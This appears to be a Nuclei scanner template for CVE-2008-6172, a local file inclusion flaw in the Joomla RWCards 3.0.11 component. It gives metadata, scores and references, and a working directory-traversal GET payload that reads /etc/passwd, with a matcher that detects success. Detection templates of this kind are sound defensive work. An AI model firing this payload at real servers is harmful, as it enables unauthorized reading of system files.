id: CVE-2008-6172 info: name: Joomla! Component RWCards 3.0.11 - Local File Inclusion author: daffainfo severity: medium description: A directory traversal vulnerability in captcha/captcha_image.php in the RWCards (com_rwcards) 3.0.11 component for Joomla! when magic_quotes_gpc is disabled allows remote attackers to include and execute arbitrary local files via directory traversal sequences in the img parameter. remediation: | Update Joomla! Component RWCards to the latest version to mitigate the vulnerability. reference: - https://www.exploit-db.com/exploits/6817 - https://nvd.nist.gov/vuln/detail/CVE-2008-6172 - https://exchange.xforce.ibmcloud.com/vulnerabilities/46081 classification: cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:P/I:P/A:P cvss-score: 6.8 cve-id: CVE-2008-6172 cwe-id: CWE-22 epss-score: 0.00447 epss-percentile: 0.71823 cpe: cpe:2.3:a:weberr:rwcards:3.0.11:*:*:*:*:*:*:* metadata: max-request: 1 vendor: weberr product: rwcards tags: cve2008,joomla,lfi,edb,cve http: - method: GET path: - "{{BaseURL}}/components/com_rwcards/captcha/captcha_image.php?img=../../../../../../../../../etc/passwd%00" matchers-condition: and matchers: - type: regex regex: - "root:.*:0:0:" - type: status status: - 200